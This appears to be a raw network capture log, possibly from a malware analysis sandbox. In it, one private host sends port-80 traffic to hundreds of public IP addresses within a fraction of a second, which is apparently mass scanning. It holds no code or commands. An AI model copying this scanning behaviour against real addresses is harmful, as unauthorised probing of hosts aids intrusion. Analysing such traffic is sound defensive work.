Dec 3, 2024 21:47:19.167490959 CET	80	39419	154.114.144.96	192.168.2.13
Dec 3, 2024 21:47:19.167506933 CET	80	39419	9.202.69.13	192.168.2.13
Dec 3, 2024 21:47:19.167524099 CET	80	39419	117.128.229.253	192.168.2.13
Dec 3, 2024 21:47:19.167535067 CET	39419	80	192.168.2.13	154.114.144.96
Dec 3, 2024 21:47:19.167536974 CET	80	39419	155.132.98.2	192.168.2.13
Dec 3, 2024 21:47:19.167552948 CET	80	39419	125.94.217.102	192.168.2.13
Dec 3, 2024 21:47:19.167561054 CET	39419	80	192.168.2.13	9.202.69.13
Dec 3, 2024 21:47:19.167565107 CET	39419	80	192.168.2.13	117.128.229.253
Dec 3, 2024 21:47:19.167578936 CET	39419	80	192.168.2.13	155.132.98.2
Dec 3, 2024 21:47:19.167582035 CET	39419	80	192.168.2.13	125.94.217.102
Dec 3, 2024 21:47:19.167593956 CET	80	39419	156.0.114.15	192.168.2.13
Dec 3, 2024 21:47:19.167608976 CET	80	39419	126.55.76.63	192.168.2.13
Dec 3, 2024 21:47:19.167623043 CET	80	39419	48.236.173.80	192.168.2.13
Dec 3, 2024 21:47:19.167630911 CET	39419	80	192.168.2.13	156.0.114.15
Dec 3, 2024 21:47:19.167638063 CET	80	39419	149.153.42.110	192.168.2.13
Dec 3, 2024 21:47:19.167638063 CET	39419	80	192.168.2.13	126.55.76.63
Dec 3, 2024 21:47:19.167650938 CET	39419	80	192.168.2.13	48.236.173.80
Dec 3, 2024 21:47:19.167658091 CET	80	39419	39.175.61.253	192.168.2.13
Dec 3, 2024 21:47:19.167673111 CET	39419	80	192.168.2.13	149.153.42.110
Dec 3, 2024 21:47:19.167690039 CET	39419	80	192.168.2.13	39.175.61.253
Dec 3, 2024 21:47:19.287642956 CET	80	39419	199.225.194.240	192.168.2.13
Dec 3, 2024 21:47:19.287720919 CET	80	39419	78.150.13.14	192.168.2.13
Dec 3, 2024 21:47:19.287754059 CET	80	39419	148.36.60.149	192.168.2.13
Dec 3, 2024 21:47:19.287770987 CET	39419	80	192.168.2.13	199.225.194.240
Dec 3, 2024 21:47:19.287772894 CET	80	39419	47.238.164.251	192.168.2.13
Dec 3, 2024 21:47:19.287776947 CET	39419	80	192.168.2.13	78.150.13.14
Dec 3, 2024 21:47:19.287808895 CET	80	39419	38.218.214.231	192.168.2.13
Dec 3, 2024 21:47:19.287825108 CET	39419	80	192.168.2.13	148.36.60.149
Dec 3, 2024 21:47:19.287826061 CET	39419	80	192.168.2.13	47.238.164.251
Dec 3, 2024 21:47:19.287848949 CET	39419	80	192.168.2.13	38.218.214.231
Dec 3, 2024 21:47:19.287852049 CET	80	39419	220.122.134.60	192.168.2.13
Dec 3, 2024 21:47:19.287887096 CET	80	39419	95.181.6.218	192.168.2.13
Dec 3, 2024 21:47:19.287894964 CET	39419	80	192.168.2.13	220.122.134.60
Dec 3, 2024 21:47:19.287925959 CET	39419	80	192.168.2.13	95.181.6.218
Dec 3, 2024 21:47:19.287930012 CET	80	39419	105.206.126.176	192.168.2.13
Dec 3, 2024 21:47:19.287967920 CET	39419	80	192.168.2.13	105.206.126.176
Dec 3, 2024 21:47:19.288022995 CET	80	39419	142.226.34.85	192.168.2.13
Dec 3, 2024 21:47:19.288038969 CET	80	39419	172.52.4.28	192.168.2.13
Dec 3, 2024 21:47:19.288055897 CET	39419	80	192.168.2.13	142.226.34.85
Dec 3, 2024 21:47:19.288078070 CET	39419	80	192.168.2.13	172.52.4.28
Dec 3, 2024 21:47:19.288099051 CET	80	39419	138.47.150.39	192.168.2.13
Dec 3, 2024 21:47:19.288139105 CET	39419	80	192.168.2.13	138.47.150.39
Dec 3, 2024 21:47:19.288213968 CET	80	39419	186.166.141.222	192.168.2.13
Dec 3, 2024 21:47:19.288228989 CET	80	39419	169.96.200.47	192.168.2.13
Dec 3, 2024 21:47:19.288254976 CET	39419	80	192.168.2.13	186.166.141.222
Dec 3, 2024 21:47:19.288270950 CET	39419	80	192.168.2.13	169.96.200.47
Dec 3, 2024 21:47:19.288276911 CET	80	39419	165.4.135.131	192.168.2.13
Dec 3, 2024 21:47:19.288316965 CET	39419	80	192.168.2.13	165.4.135.131
Dec 3, 2024 21:47:19.288327932 CET	80	39419	190.133.109.88	192.168.2.13
Dec 3, 2024 21:47:19.288360119 CET	80	39419	80.236.139.3	192.168.2.13
Dec 3, 2024 21:47:19.288367987 CET	39419	80	192.168.2.13	190.133.109.88
Dec 3, 2024 21:47:19.288398981 CET	39419	80	192.168.2.13	80.236.139.3
Dec 3, 2024 21:47:19.288420916 CET	80	39419	132.52.202.8	192.168.2.13
Dec 3, 2024 21:47:19.288459063 CET	39419	80	192.168.2.13	132.52.202.8
Dec 3, 2024 21:47:19.288500071 CET	80	39419	145.113.163.96	192.168.2.13
Dec 3, 2024 21:47:19.288515091 CET	80	39419	220.194.120.56	192.168.2.13
Dec 3, 2024 21:47:19.288533926 CET	80	39419	83.140.22.214	192.168.2.13
Dec 3, 2024 21:47:19.288537025 CET	39419	80	192.168.2.13	145.113.163.96
Dec 3, 2024 21:47:19.288549900 CET	39419	80	192.168.2.13	220.194.120.56
Dec 3, 2024 21:47:19.288563967 CET	39419	80	192.168.2.13	83.140.22.214
Dec 3, 2024 21:47:19.288609982 CET	80	39419	71.239.67.47	192.168.2.13
Dec 3, 2024 21:47:19.288646936 CET	80	39419	213.9.40.171	192.168.2.13
Dec 3, 2024 21:47:19.288651943 CET	39419	80	192.168.2.13	71.239.67.47
Dec 3, 2024 21:47:19.288661957 CET	80	39419	153.230.147.118	192.168.2.13
Dec 3, 2024 21:47:19.288682938 CET	39419	80	192.168.2.13	213.9.40.171
Dec 3, 2024 21:47:19.288697004 CET	39419	80	192.168.2.13	153.230.147.118
Dec 3, 2024 21:47:19.288732052 CET	80	39419	217.249.188.52	192.168.2.13
Dec 3, 2024 21:47:19.288747072 CET	80	39419	200.111.142.216	192.168.2.13
Dec 3, 2024 21:47:19.288764000 CET	39419	80	192.168.2.13	217.249.188.52
Dec 3, 2024 21:47:19.288778067 CET	80	39419	99.25.9.150	192.168.2.13
Dec 3, 2024 21:47:19.288778067 CET	39419	80	192.168.2.13	200.111.142.216
Dec 3, 2024 21:47:19.288815975 CET	39419	80	192.168.2.13	99.25.9.150
Dec 3, 2024 21:47:19.288841009 CET	80	39419	67.8.243.39	192.168.2.13
Dec 3, 2024 21:47:19.288883924 CET	39419	80	192.168.2.13	67.8.243.39
Dec 3, 2024 21:47:19.288921118 CET	80	39419	221.138.160.43	192.168.2.13
Dec 3, 2024 21:47:19.288959980 CET	39419	80	192.168.2.13	221.138.160.43
Dec 3, 2024 21:47:19.290158033 CET	80	39419	163.232.225.104	192.168.2.13
Dec 3, 2024 21:47:19.290173054 CET	80	39419	65.55.78.162	192.168.2.13
Dec 3, 2024 21:47:19.290200949 CET	39419	80	192.168.2.13	163.232.225.104
Dec 3, 2024 21:47:19.290200949 CET	39419	80	192.168.2.13	65.55.78.162
Dec 3, 2024 21:47:19.290219069 CET	80	39419	180.83.149.152	192.168.2.13
Dec 3, 2024 21:47:19.290258884 CET	39419	80	192.168.2.13	180.83.149.152
Dec 3, 2024 21:47:19.290313959 CET	80	39419	187.70.199.77	192.168.2.13
Dec 3, 2024 21:47:19.290328979 CET	80	39419	168.163.196.193	192.168.2.13
Dec 3, 2024 21:47:19.290358067 CET	39419	80	192.168.2.13	187.70.199.77
Dec 3, 2024 21:47:19.290364981 CET	39419	80	192.168.2.13	168.163.196.193
Dec 3, 2024 21:47:19.290380955 CET	80	39419	219.129.190.37	192.168.2.13
Dec 3, 2024 21:47:19.290414095 CET	80	39419	155.181.75.199	192.168.2.13
Dec 3, 2024 21:47:19.290419102 CET	39419	80	192.168.2.13	219.129.190.37
Dec 3, 2024 21:47:19.290452957 CET	39419	80	192.168.2.13	155.181.75.199
Dec 3, 2024 21:47:19.290524960 CET	80	39419	164.116.110.148	192.168.2.13
Dec 3, 2024 21:47:19.290539980 CET	80	39419	17.186.67.74	192.168.2.13
Dec 3, 2024 21:47:19.290559053 CET	39419	80	192.168.2.13	164.116.110.148
Dec 3, 2024 21:47:19.290570974 CET	80	39419	199.131.63.189	192.168.2.13
Dec 3, 2024 21:47:19.290579081 CET	39419	80	192.168.2.13	17.186.67.74
Dec 3, 2024 21:47:19.290618896 CET	39419	80	192.168.2.13	199.131.63.189
Dec 3, 2024 21:47:19.290643930 CET	80	39419	211.181.160.200	192.168.2.13
Dec 3, 2024 21:47:19.290661097 CET	80	39419	174.47.109.162	192.168.2.13
Dec 3, 2024 21:47:19.290684938 CET	80	39419	113.24.249.160	192.168.2.13
Dec 3, 2024 21:47:19.290683985 CET	39419	80	192.168.2.13	211.181.160.200
Dec 3, 2024 21:47:19.290698051 CET	39419	80	192.168.2.13	174.47.109.162
Dec 3, 2024 21:47:19.290702105 CET	80	39419	128.195.160.146	192.168.2.13
Dec 3, 2024 21:47:19.290718079 CET	39419	80	192.168.2.13	113.24.249.160
Dec 3, 2024 21:47:19.290736914 CET	80	39419	118.36.135.37	192.168.2.13
Dec 3, 2024 21:47:19.290746927 CET	39419	80	192.168.2.13	128.195.160.146
Dec 3, 2024 21:47:19.290755987 CET	80	39419	121.234.17.87	192.168.2.13
Dec 3, 2024 21:47:19.290772915 CET	39419	80	192.168.2.13	118.36.135.37
Dec 3, 2024 21:47:19.290791035 CET	39419	80	192.168.2.13	121.234.17.87
Dec 3, 2024 21:47:19.290797949 CET	80	39419	48.149.30.173	192.168.2.13
Dec 3, 2024 21:47:19.290816069 CET	80	39419	17.116.192.160	192.168.2.13
Dec 3, 2024 21:47:19.290829897 CET	80	39419	141.190.83.180	192.168.2.13
Dec 3, 2024 21:47:19.290833950 CET	39419	80	192.168.2.13	48.149.30.173
Dec 3, 2024 21:47:19.290847063 CET	39419	80	192.168.2.13	17.116.192.160
Dec 3, 2024 21:47:19.290857077 CET	80	39419	36.116.200.62	192.168.2.13
Dec 3, 2024 21:47:19.290864944 CET	39419	80	192.168.2.13	141.190.83.180
Dec 3, 2024 21:47:19.290872097 CET	80	39419	69.94.27.119	192.168.2.13
Dec 3, 2024 21:47:19.290888071 CET	39419	80	192.168.2.13	36.116.200.62
Dec 3, 2024 21:47:19.290894985 CET	80	39419	39.60.70.106	192.168.2.13
Dec 3, 2024 21:47:19.290908098 CET	80	39419	196.251.79.203	192.168.2.13
Dec 3, 2024 21:47:19.290920973 CET	39419	80	192.168.2.13	69.94.27.119
Dec 3, 2024 21:47:19.290927887 CET	39419	80	192.168.2.13	39.60.70.106
Dec 3, 2024 21:47:19.290935993 CET	39419	80	192.168.2.13	196.251.79.203
Dec 3, 2024 21:47:19.290970087 CET	80	39419	109.142.26.78	192.168.2.13
Dec 3, 2024 21:47:19.290985107 CET	80	39419	109.227.152.194	192.168.2.13
Dec 3, 2024 21:47:19.291007996 CET	39419	80	192.168.2.13	109.142.26.78
Dec 3, 2024 21:47:19.291023016 CET	39419	80	192.168.2.13	109.227.152.194
Dec 3, 2024 21:47:19.291042089 CET	80	39419	44.250.185.213	192.168.2.13
Dec 3, 2024 21:47:19.291055918 CET	80	39419	37.173.42.140	192.168.2.13
Dec 3, 2024 21:47:19.291074038 CET	80	39419	32.87.56.225	192.168.2.13
Dec 3, 2024 21:47:19.291079998 CET	39419	80	192.168.2.13	44.250.185.213
Dec 3, 2024 21:47:19.291086912 CET	39419	80	192.168.2.13	37.173.42.140
Dec 3, 2024 21:47:19.291105986 CET	39419	80	192.168.2.13	32.87.56.225
Dec 3, 2024 21:47:19.292104959 CET	80	39419	106.4.246.201	192.168.2.13
Dec 3, 2024 21:47:19.292130947 CET	80	39419	133.232.209.73	192.168.2.13
Dec 3, 2024 21:47:19.292140961 CET	39419	80	192.168.2.13	106.4.246.201
Dec 3, 2024 21:47:19.292144060 CET	80	39419	213.197.113.123	192.168.2.13
Dec 3, 2024 21:47:19.292164087 CET	80	39419	202.95.100.144	192.168.2.13
Dec 3, 2024 21:47:19.292170048 CET	39419	80	192.168.2.13	133.232.209.73
Dec 3, 2024 21:47:19.292176962 CET	39419	80	192.168.2.13	213.197.113.123
Dec 3, 2024 21:47:19.292186022 CET	80	39419	170.181.17.147	192.168.2.13
Dec 3, 2024 21:47:19.292202950 CET	39419	80	192.168.2.13	202.95.100.144
Dec 3, 2024 21:47:19.292213917 CET	80	39419	65.230.75.78	192.168.2.13
Dec 3, 2024 21:47:19.292224884 CET	39419	80	192.168.2.13	170.181.17.147
Dec 3, 2024 21:47:19.292238951 CET	80	39419	125.161.216.228	192.168.2.13
Dec 3, 2024 21:47:19.292248964 CET	39419	80	192.168.2.13	65.230.75.78
Dec 3, 2024 21:47:19.292273045 CET	80	39419	67.142.183.156	192.168.2.13
Dec 3, 2024 21:47:19.292277098 CET	39419	80	192.168.2.13	125.161.216.228
Dec 3, 2024 21:47:19.292289972 CET	80	39419	218.146.36.163	192.168.2.13
Dec 3, 2024 21:47:19.292305946 CET	39419	80	192.168.2.13	67.142.183.156
Dec 3, 2024 21:47:19.292320013 CET	80	39419	125.153.212.182	192.168.2.13
Dec 3, 2024 21:47:19.292324066 CET	39419	80	192.168.2.13	218.146.36.163
Dec 3, 2024 21:47:19.292346954 CET	80	39419	216.212.105.0	192.168.2.13
Dec 3, 2024 21:47:19.292355061 CET	39419	80	192.168.2.13	125.153.212.182
Dec 3, 2024 21:47:19.292373896 CET	80	39419	217.90.38.26	192.168.2.13
Dec 3, 2024 21:47:19.292382002 CET	39419	80	192.168.2.13	216.212.105.0
Dec 3, 2024 21:47:19.292412043 CET	39419	80	192.168.2.13	217.90.38.26
Dec 3, 2024 21:47:19.292421103 CET	80	39419	53.56.55.106	192.168.2.13
Dec 3, 2024 21:47:19.292452097 CET	39419	80	192.168.2.13	53.56.55.106
Dec 3, 2024 21:47:19.292520046 CET	80	39419	164.153.5.194	192.168.2.13
Dec 3, 2024 21:47:19.292534113 CET	80	39419	65.45.215.214	192.168.2.13
Dec 3, 2024 21:47:19.292553902 CET	39419	80	192.168.2.13	164.153.5.194
Dec 3, 2024 21:47:19.292557955 CET	80	39419	105.132.147.72	192.168.2.13
Dec 3, 2024 21:47:19.292562962 CET	39419	80	192.168.2.13	65.45.215.214
Dec 3, 2024 21:47:19.292582989 CET	80	39419	136.239.198.110	192.168.2.13
Dec 3, 2024 21:47:19.292591095 CET	39419	80	192.168.2.13	105.132.147.72
Dec 3, 2024 21:47:19.292614937 CET	39419	80	192.168.2.13	136.239.198.110
Dec 3, 2024 21:47:19.292633057 CET	80	39419	193.116.151.253	192.168.2.13
Dec 3, 2024 21:47:19.292670012 CET	39419	80	192.168.2.13	193.116.151.253
Dec 3, 2024 21:47:19.292756081 CET	80	39419	35.64.100.60	192.168.2.13
Dec 3, 2024 21:47:19.292771101 CET	80	39419	121.52.138.121	192.168.2.13
Dec 3, 2024 21:47:19.292793036 CET	39419	80	192.168.2.13	35.64.100.60
Dec 3, 2024 21:47:19.292804956 CET	39419	80	192.168.2.13	121.52.138.121
Dec 3, 2024 21:47:19.292850018 CET	80	39419	91.7.187.27	192.168.2.13
Dec 3, 2024 21:47:19.292864084 CET	80	39419	181.30.158.79	192.168.2.13
Dec 3, 2024 21:47:19.292875051 CET	80	39419	84.249.176.211	192.168.2.13
Dec 3, 2024 21:47:19.292885065 CET	39419	80	192.168.2.13	91.7.187.27
Dec 3, 2024 21:47:19.292891979 CET	80	39419	93.243.168.156	192.168.2.13
Dec 3, 2024 21:47:19.292901039 CET	39419	80	192.168.2.13	181.30.158.79
Dec 3, 2024 21:47:19.292907953 CET	39419	80	192.168.2.13	84.249.176.211
Dec 3, 2024 21:47:19.292912006 CET	80	39419	204.26.253.167	192.168.2.13
Dec 3, 2024 21:47:19.292922020 CET	80	39419	17.81.144.15	192.168.2.13
Dec 3, 2024 21:47:19.292932034 CET	39419	80	192.168.2.13	93.243.168.156
Dec 3, 2024 21:47:19.292942047 CET	80	39419	155.190.80.242	192.168.2.13
Dec 3, 2024 21:47:19.292948008 CET	39419	80	192.168.2.13	204.26.253.167
Dec 3, 2024 21:47:19.292957067 CET	80	39419	59.34.153.25	192.168.2.13
Dec 3, 2024 21:47:19.292963028 CET	39419	80	192.168.2.13	17.81.144.15
Dec 3, 2024 21:47:19.292992115 CET	39419	80	192.168.2.13	155.190.80.242
Dec 3, 2024 21:47:19.292994976 CET	39419	80	192.168.2.13	59.34.153.25
Dec 3, 2024 21:47:19.293844938 CET	80	39419	52.93.221.200	192.168.2.13
Dec 3, 2024 21:47:19.293881893 CET	39419	80	192.168.2.13	52.93.221.200
Dec 3, 2024 21:47:19.293890953 CET	80	39419	151.250.43.186	192.168.2.13
Dec 3, 2024 21:47:19.293925047 CET	39419	80	192.168.2.13	151.250.43.186
Dec 3, 2024 21:47:19.293982029 CET	80	39419	75.33.196.161	192.168.2.13
Dec 3, 2024 21:47:19.293992996 CET	80	39419	50.202.219.35	192.168.2.13
Dec 3, 2024 21:47:19.294013023 CET	80	39419	44.6.117.122	192.168.2.13
Dec 3, 2024 21:47:19.294017076 CET	39419	80	192.168.2.13	75.33.196.161
Dec 3, 2024 21:47:19.294018984 CET	39419	80	192.168.2.13	50.202.219.35
Dec 3, 2024 21:47:19.294037104 CET	80	39419	79.127.82.196	192.168.2.13
Dec 3, 2024 21:47:19.294044971 CET	39419	80	192.168.2.13	44.6.117.122
Dec 3, 2024 21:47:19.294076920 CET	39419	80	192.168.2.13	79.127.82.196
Dec 3, 2024 21:47:19.294131041 CET	80	39419	194.191.133.140	192.168.2.13
Dec 3, 2024 21:47:19.294145107 CET	80	39419	116.98.80.121	192.168.2.13
Dec 3, 2024 21:47:19.294163942 CET	80	39419	163.77.134.102	192.168.2.13
Dec 3, 2024 21:47:19.294169903 CET	39419	80	192.168.2.13	194.191.133.140
Dec 3, 2024 21:47:19.294178963 CET	39419	80	192.168.2.13	116.98.80.121
Dec 3, 2024 21:47:19.294195890 CET	80	39419	178.245.180.58	192.168.2.13
Dec 3, 2024 21:47:19.294195890 CET	39419	80	192.168.2.13	163.77.134.102
Dec 3, 2024 21:47:19.294220924 CET	80	39419	37.189.164.11	192.168.2.13
Dec 3, 2024 21:47:19.294233084 CET	39419	80	192.168.2.13	178.245.180.58
Dec 3, 2024 21:47:19.294258118 CET	39419	80	192.168.2.13	37.189.164.11
Dec 3, 2024 21:47:19.294275045 CET	80	39419	185.40.168.254	192.168.2.13
Dec 3, 2024 21:47:19.294306040 CET	80	39419	97.182.25.115	192.168.2.13
Dec 3, 2024 21:47:19.294312954 CET	39419	80	192.168.2.13	185.40.168.254
Dec 3, 2024 21:47:19.294346094 CET	39419	80	192.168.2.13	97.182.25.115
Dec 3, 2024 21:47:19.294388056 CET	80	39419	70.199.66.234	192.168.2.13
Dec 3, 2024 21:47:19.294401884 CET	80	39419	2.63.19.157	192.168.2.13
Dec 3, 2024 21:47:19.294426918 CET	39419	80	192.168.2.13	70.199.66.234
Dec 3, 2024 21:47:19.294428110 CET	80	39419	109.245.55.145	192.168.2.13
Dec 3, 2024 21:47:19.294430971 CET	39419	80	192.168.2.13	2.63.19.157
Dec 3, 2024 21:47:19.294442892 CET	80	39419	101.43.175.76	192.168.2.13
Dec 3, 2024 21:47:19.294466972 CET	39419	80	192.168.2.13	109.245.55.145
Dec 3, 2024 21:47:19.294472933 CET	80	39419	206.230.8.4	192.168.2.13
Dec 3, 2024 21:47:19.294475079 CET	39419	80	192.168.2.13	101.43.175.76
Dec 3, 2024 21:47:19.294487953 CET	80	39419	84.205.138.225	192.168.2.13
Dec 3, 2024 21:47:19.294501066 CET	80	39419	194.21.78.85	192.168.2.13
Dec 3, 2024 21:47:19.294507027 CET	39419	80	192.168.2.13	206.230.8.4
Dec 3, 2024 21:47:19.294523954 CET	39419	80	192.168.2.13	84.205.138.225
Dec 3, 2024 21:47:19.294527054 CET	39419	80	192.168.2.13	194.21.78.85
Dec 3, 2024 21:47:19.294631004 CET	80	39419	158.189.12.122	192.168.2.13
Dec 3, 2024 21:47:19.294641018 CET	80	39419	17.55.168.102	192.168.2.13
Dec 3, 2024 21:47:19.294658899 CET	80	39419	179.128.201.210	192.168.2.13
Dec 3, 2024 21:47:19.294667959 CET	80	39419	44.33.78.230	192.168.2.13
Dec 3, 2024 21:47:19.294667006 CET	39419	80	192.168.2.13	158.189.12.122
Dec 3, 2024 21:47:19.294687033 CET	39419	80	192.168.2.13	17.55.168.102
Dec 3, 2024 21:47:19.294691086 CET	80	39419	178.173.124.31	192.168.2.13
Dec 3, 2024 21:47:19.294708967 CET	80	39419	87.68.215.174	192.168.2.13
Dec 3, 2024 21:47:19.294709921 CET	39419	80	192.168.2.13	44.33.78.230
Dec 3, 2024 21:47:19.294713020 CET	39419	80	192.168.2.13	179.128.201.210
Dec 3, 2024 21:47:19.294718981 CET	39419	80	192.168.2.13	178.173.124.31
Dec 3, 2024 21:47:19.294734955 CET	80	39419	70.182.193.141	192.168.2.13
Dec 3, 2024 21:47:19.294735909 CET	39419	80	192.168.2.13	87.68.215.174
Dec 3, 2024 21:47:19.294749975 CET	80	39419	67.173.99.104	192.168.2.13
Dec 3, 2024 21:47:19.294775009 CET	39419	80	192.168.2.13	70.182.193.141
Dec 3, 2024 21:47:19.294785976 CET	39419	80	192.168.2.13	67.173.99.104
Dec 3, 2024 21:47:19.295264959 CET	80	39419	25.161.236.218	192.168.2.13
Dec 3, 2024 21:47:19.295279026 CET	80	39419	205.119.31.103	192.168.2.13
Dec 3, 2024 21:47:19.295304060 CET	39419	80	192.168.2.13	25.161.236.218
Dec 3, 2024 21:47:19.295322895 CET	39419	80	192.168.2.13	205.119.31.103
Dec 3, 2024 21:47:19.295370102 CET	80	39419	121.148.145.87	192.168.2.13
Dec 3, 2024 21:47:19.295406103 CET	39419	80	192.168.2.13	121.148.145.87
Dec 3, 2024 21:47:19.295449018 CET	80	39419	83.11.240.11	192.168.2.13
Dec 3, 2024 21:47:19.295495033 CET	39419	80	192.168.2.13	83.11.240.11
Dec 3, 2024 21:47:19.295538902 CET	80	39419	80.67.35.195	192.168.2.13
Dec 3, 2024 21:47:19.295577049 CET	39419	80	192.168.2.13	80.67.35.195
Dec 3, 2024 21:47:19.295586109 CET	80	39419	37.169.95.216	192.168.2.13
Dec 3, 2024 21:47:19.295622110 CET	39419	80	192.168.2.13	37.169.95.216
Dec 3, 2024 21:47:19.295639992 CET	80	39419	90.173.63.85	192.168.2.13
Dec 3, 2024 21:47:19.295685053 CET	39419	80	192.168.2.13	90.173.63.85
Dec 3, 2024 21:47:19.295700073 CET	80	39419	165.83.105.227	192.168.2.13
Dec 3, 2024 21:47:19.295732975 CET	80	39419	100.239.223.164	192.168.2.13
Dec 3, 2024 21:47:19.295736074 CET	39419	80	192.168.2.13	165.83.105.227
Dec 3, 2024 21:47:19.295748949 CET	80	39419	194.247.48.232	192.168.2.13
Dec 3, 2024 21:47:19.295763016 CET	80	39419	18.29.168.95	192.168.2.13
Dec 3, 2024 21:47:19.295768976 CET	39419	80	192.168.2.13	100.239.223.164
Dec 3, 2024 21:47:19.295777082 CET	39419	80	192.168.2.13	194.247.48.232
Dec 3, 2024 21:47:19.295778990 CET	80	39419	173.40.116.46	192.168.2.13
Dec 3, 2024 21:47:19.295794010 CET	39419	80	192.168.2.13	18.29.168.95
Dec 3, 2024 21:47:19.295805931 CET	80	39419	4.250.114.142	192.168.2.13
Dec 3, 2024 21:47:19.295814037 CET	39419	80	192.168.2.13	173.40.116.46
Dec 3, 2024 21:47:19.295821905 CET	80	39419	172.215.255.234	192.168.2.13
Dec 3, 2024 21:47:19.295840979 CET	39419	80	192.168.2.13	4.250.114.142
Dec 3, 2024 21:47:19.295842886 CET	80	39419	122.144.194.99	192.168.2.13
Dec 3, 2024 21:47:19.295850039 CET	39419	80	192.168.2.13	172.215.255.234
Dec 3, 2024 21:47:19.295862913 CET	80	39419	172.67.69.93	192.168.2.13
Dec 3, 2024 21:47:19.295878887 CET	39419	80	192.168.2.13	122.144.194.99
Dec 3, 2024 21:47:19.295892000 CET	39419	80	192.168.2.13	172.67.69.93
Dec 3, 2024 21:47:19.295892000 CET	80	39419	202.158.15.194	192.168.2.13
Dec 3, 2024 21:47:19.295909882 CET	80	39419	124.130.40.97	192.168.2.13
Dec 3, 2024 21:47:19.295928955 CET	39419	80	192.168.2.13	202.158.15.194
Dec 3, 2024 21:47:19.295950890 CET	80	39419	63.248.101.166	192.168.2.13
Dec 3, 2024 21:47:19.295950890 CET	39419	80	192.168.2.13	124.130.40.97
Dec 3, 2024 21:47:19.295984983 CET	39419	80	192.168.2.13	63.248.101.166
Dec 3, 2024 21:47:19.296022892 CET	80	39419	79.25.140.170	192.168.2.13
Dec 3, 2024 21:47:19.296039104 CET	80	39419	178.203.236.45	192.168.2.13
Dec 3, 2024 21:47:19.296053886 CET	39419	80	192.168.2.13	79.25.140.170
Dec 3, 2024 21:47:19.296072006 CET	39419	80	192.168.2.13	178.203.236.45
Dec 3, 2024 21:47:19.296098948 CET	80	39419	92.108.212.85	192.168.2.13
Dec 3, 2024 21:47:19.296113014 CET	80	39419	159.22.67.90	192.168.2.13
Dec 3, 2024 21:47:19.296134949 CET	39419	80	192.168.2.13	92.108.212.85
Dec 3, 2024 21:47:19.296144009 CET	80	39419	120.148.64.67	192.168.2.13
Dec 3, 2024 21:47:19.296154022 CET	39419	80	192.168.2.13	159.22.67.90
Dec 3, 2024 21:47:19.296166897 CET	80	39419	100.163.5.156	192.168.2.13
Dec 3, 2024 21:47:19.296176910 CET	39419	80	192.168.2.13	120.148.64.67
Dec 3, 2024 21:47:19.296205044 CET	39419	80	192.168.2.13	100.163.5.156
Dec 3, 2024 21:47:19.296240091 CET	80	39419	182.58.209.107	192.168.2.13
Dec 3, 2024 21:47:19.296276093 CET	39419	80	192.168.2.13	182.58.209.107
Dec 3, 2024 21:47:19.296288013 CET	80	39419	198.1.184.118	192.168.2.13
Dec 3, 2024 21:47:19.296304941 CET	80	39419	147.177.28.20	192.168.2.13
Dec 3, 2024 21:47:19.296329021 CET	39419	80	192.168.2.13	198.1.184.118
Dec 3, 2024 21:47:19.296340942 CET	39419	80	192.168.2.13	147.177.28.20
Dec 3, 2024 21:47:19.297311068 CET	80	39419	169.223.128.254	192.168.2.13
Dec 3, 2024 21:47:19.297327042 CET	80	39419	217.204.24.189	192.168.2.13
Dec 3, 2024 21:47:19.297354937 CET	39419	80	192.168.2.13	169.223.128.254
Dec 3, 2024 21:47:19.297359943 CET	39419	80	192.168.2.13	217.204.24.189
Dec 3, 2024 21:47:19.297431946 CET	80	39419	200.29.188.117	192.168.2.13
Dec 3, 2024 21:47:19.297472954 CET	39419	80	192.168.2.13	200.29.188.117
Dec 3, 2024 21:47:19.297499895 CET	80	39419	85.119.182.65	192.168.2.13
Dec 3, 2024 21:47:19.297533989 CET	39419	80	192.168.2.13	85.119.182.65
Dec 3, 2024 21:47:19.297542095 CET	80	39419	128.221.249.43	192.168.2.13
Dec 3, 2024 21:47:19.297558069 CET	80	39419	8.51.116.123	192.168.2.13
Dec 3, 2024 21:47:19.297585011 CET	39419	80	192.168.2.13	128.221.249.43
Dec 3, 2024 21:47:19.297585011 CET	39419	80	192.168.2.13	8.51.116.123
Dec 3, 2024 21:47:19.297589064 CET	80	39419	19.12.203.127	192.168.2.13
Dec 3, 2024 21:47:19.297595024 CET	80	39419	163.93.51.210	192.168.2.13
Dec 3, 2024 21:47:19.297610998 CET	80	39419	42.118.120.177	192.168.2.13
Dec 3, 2024 21:47:19.297622919 CET	39419	80	192.168.2.13	19.12.203.127
Dec 3, 2024 21:47:19.297626019 CET	39419	80	192.168.2.13	163.93.51.210
Dec 3, 2024 21:47:19.297643900 CET	39419	80	192.168.2.13	42.118.120.177
Dec 3, 2024 21:47:19.297650099 CET	80	39419	208.241.211.223	192.168.2.13
Dec 3, 2024 21:47:19.297667027 CET	80	39419	151.236.76.37	192.168.2.13
Dec 3, 2024 21:47:19.297683954 CET	80	39419	121.226.6.206	192.168.2.13
Dec 3, 2024 21:47:19.297688961 CET	39419	80	192.168.2.13	208.241.211.223
Dec 3, 2024 21:47:19.297697067 CET	80	39419	128.173.204.152	192.168.2.13
Dec 3, 2024 21:47:19.297704935 CET	39419	80	192.168.2.13	151.236.76.37
Dec 3, 2024 21:47:19.297722101 CET	39419	80	192.168.2.13	121.226.6.206
Dec 3, 2024 21:47:19.297734022 CET	39419	80	192.168.2.13	128.173.204.152
Dec 3, 2024 21:47:19.297823906 CET	80	39419	64.73.153.137	192.168.2.13
Dec 3, 2024 21:47:19.297838926 CET	80	39419	147.110.137.188	192.168.2.13
Dec 3, 2024 21:47:19.297851086 CET	80	39419	201.125.212.234	192.168.2.13
Dec 3, 2024 21:47:19.297868967 CET	39419	80	192.168.2.13	64.73.153.137
Dec 3, 2024 21:47:19.297872066 CET	39419	80	192.168.2.13	147.110.137.188
Dec 3, 2024 21:47:19.297874928 CET	80	39419	147.181.54.230	192.168.2.13
Dec 3, 2024 21:47:19.297888994 CET	39419	80	192.168.2.13	201.125.212.234
Dec 3, 2024 21:47:19.297895908 CET	80	39419	8.189.1.18	192.168.2.13
Dec 3, 2024 21:47:19.297900915 CET	80	39419	60.69.249.55	192.168.2.13
Dec 3, 2024 21:47:19.297910929 CET	39419	80	192.168.2.13	147.181.54.230
Dec 3, 2024 21:47:19.297914982 CET	80	39419	101.178.120.62	192.168.2.13
Dec 3, 2024 21:47:19.297928095 CET	39419	80	192.168.2.13	8.189.1.18
Dec 3, 2024 21:47:19.297930956 CET	39419	80	192.168.2.13	60.69.249.55
Dec 3, 2024 21:47:19.297934055 CET	80	39419	123.72.132.63	192.168.2.13
